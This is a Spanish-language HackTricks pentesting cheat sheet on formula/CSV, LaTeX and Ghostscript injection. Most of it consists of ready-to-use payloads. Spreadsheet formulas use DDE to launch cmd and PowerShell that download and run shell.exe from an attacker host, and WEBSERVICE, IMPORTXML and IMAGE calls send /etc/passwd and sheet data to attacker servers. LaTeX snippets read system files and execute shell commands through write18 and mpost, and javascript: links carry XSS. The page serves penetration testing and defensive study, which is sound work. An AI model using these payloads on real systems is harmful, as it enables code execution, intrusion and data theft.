hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

207 lines
12 KiB
Markdown

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Formula Injection
### Info
Si tu **entrada** está siendo **reflejada** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), tal vez puedas poner **fórmulas** de Excel que serán **ejecutadas** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de Excel.
{% hint style="danger" %}
Hoy en día **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para prevenir acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para el payload final.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de excel final y para realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).**
El siguiente ejemplo fue tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imagina que una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes es explotada a través de un ataque de inyección CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte una carga útil maliciosa en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados a los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
1. **Inyección de Carga Útil Maliciosa:**
* El atacante envía un formulario de detalles del estudiante pero incluye una fórmula comúnmente utilizada en hojas de cálculo (por ejemplo, `=HYPERLINK("<malicious_link>","Click here")`).
* Esta fórmula está diseñada para crear un hipervínculo, pero apunta a un servidor malicioso controlado por el atacante.
2. **Exportación de Datos Comprometidos:**
* Los profesores, sin ser conscientes de la compromisión, utilizan la funcionalidad de la aplicación para exportar los datos a un archivo CSV.
* El archivo CSV, al abrirse, aún contiene la carga útil maliciosa. Esta carga útil aparece como un hipervínculo clicable en la hoja de cálculo.
3. **Activación del Ataque:**
* Un profesor hace clic en el hipervínculo, creyendo que es una parte legítima de los detalles del estudiante.
* Al hacer clic, datos sensibles (potencialmente incluyendo detalles de la hoja de cálculo o de la computadora del profesor) son transmitidos al servidor del atacante.
4. **Registro de los Datos:**
* El servidor del atacante recibe y registra los datos sensibles enviados desde la computadora del profesor.
* El atacante puede entonces usar estos datos para varios propósitos maliciosos, comprometiendo aún más la privacidad y seguridad de los estudiantes y de la institución.
### RCE
**Consulta el** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **para más detalles.**
En configuraciones específicas o versiones más antiguas de Excel, se puede explotar una característica llamada Intercambio Dinámico de Datos (DDE) para ejecutar comandos arbitrarios. Para aprovechar esto, se deben habilitar las siguientes configuraciones:
* Navega a Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo, y habilita **Lanzamiento del Servidor de Intercambio Dinámico de Datos**.
Cuando se abre una hoja de cálculo con la carga útil maliciosa (y si el usuario acepta las advertencias), la carga útil se ejecuta. Por ejemplo, para lanzar la aplicación de calculadora, la carga útil sería:
```markdown
=cmd|' /C calc'!xxx
```
También se pueden ejecutar comandos adicionales, como descargar y ejecutar un archivo usando PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Inclusión de Archivos Locales (LFI) en LibreOffice Calc
LibreOffice Calc se puede utilizar para leer archivos locales y exfiltrar datos. Aquí hay algunos métodos:
* Leer la primera línea del archivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrar los datos leídos a un servidor controlado por el atacante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltración DNS (enviando datos leídos como consultas DNS a un servidor DNS controlado por el atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets para Exfiltración de Datos Fuera de Banda (OOB)
Google Sheets ofrece funciones que pueden ser explotadas para la exfiltración de datos OOB:
* **CONCATENATE**: Une cadenas - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importa datos de tipos de datos estructurados - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importa feeds RSS o ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importa datos de tablas o listas HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importa un rango de celdas de otra hoja de cálculo - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Inserta una imagen en una celda - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## Inyección de LaTeX
Normalmente, los servidores que se encuentran en internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos:
* **`--no-shell-escape`**: **Deshabilita** el constructo `\write18{command}`, incluso si está habilitado en el archivo texmf.cnf.
* **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** el constructo `\write18{command}`. El comando puede ser cualquier comando de shell. Este constructo normalmente está deshabilitado por razones de seguridad.
Sin embargo, hay otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`.
### Leer archivo <a href="#read-file" id="read-file"></a>
Es posible que necesite ajustar la inyección con envolturas como \[ o $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Leer archivo de una sola línea
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Leer archivo de múltiples líneas
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Escribir archivo <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Ejecución de comandos <a href="#command-execution" id="command-execution"></a>
La entrada del comando se redirigirá a stdin, utiliza un archivo temporal para obtenerlo.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres no válidos.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Inyección de Ghostscript
**Ver** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referencias
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}